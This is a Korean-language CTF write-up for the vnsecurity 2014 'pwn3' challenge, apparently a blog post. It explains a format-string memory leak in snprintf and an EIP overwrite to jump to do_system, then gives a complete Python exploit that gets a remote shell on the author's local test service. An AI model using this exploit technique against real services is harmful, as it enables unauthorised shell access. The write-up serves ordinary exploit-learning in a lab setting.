본문 바로가기

CTF/vnsecurity 2014

pwn3

시그니쳐 확인

elf 32bit


한번 실행시켜보았다.


strace 에 attach한후 간단히 분석해봄

특이한 함수는 보이지 않고 eip컨트롤 가능함이 보임



로컬문제라면 간단히 환경변수라든지 공격법이 많겟지만,

이건 데몬서비스로 돌리는 리모트문제임.

데몬서비스로 돌리는 만큼 do_system으로 eip를 바꿔서 쉘을 따보도록 하겟음. 그게 젤 간단할듯함.

근데 do_system이 어딧는지 모르니 메모리릭이 있는지 찾아봐야댐.



ida로 붙여서보면 FSB를 할수 있다는것을 알 수 있음.




ida로 분석해보면 알겟지만,

처음에 ix란 함수에서 malloc을 하고 pwn: %d라는 문자열을 저장한다.

근데 free를 하고 똑같은 크기를 다시 malloc하기 떄문에 알고리즘상 똑같은 청크를 다시받아오게 된다.



그리고 show함수에서 snprintf함수를 사용하게 되는데 인자로 주는 format과 그 뒤에 오는 인자가 컨트롤 가능해서 메모리 릭 취약점이 있다.


대회가 끝나고 이문제를 접했기 때문에, 내 우분투에 xinetd로 서비스를 구성하였다.


공격 시나리오는 다음과 같다.


메모리 릭 취약점으로 memset의 plt를 읽어온뒤(memset 말고 다른함수도 관계없다)

do_system+1058의 주소와의 offset(미리 해당시스템에서 구한값)을 더한뒤

그값을 두번째 read에서 eip를 그주소로 변경시켜줌.

쉘 획득.




아래는 작성한 exploit이다.




from socket import *

from struct import *


p = lambda x : pack("<L", x)

up = lambda x : unpack("<L",x)[0]


HOST = "192.168.236.139"

PORT = 7777

offset = 0xf6b9e   #ubuntu 13.10




s=socket()

s.connect((HOST,PORT))

print s.recv(1024)

print s.recv(1024)


s.send("%s"+"a"*14+p(0x0804a02c))

do_system= up(s.recv(1024)[0:4])-offset

s.send("a"*20+p(do_system))


while(1):

    data=raw_input("")

    s.send(data+"\n")   #raw_input은 개행문자를 없애고 보내기때문에 개행을 붙여야 명령이 정상실행

    print s.recv(1024)

s.close()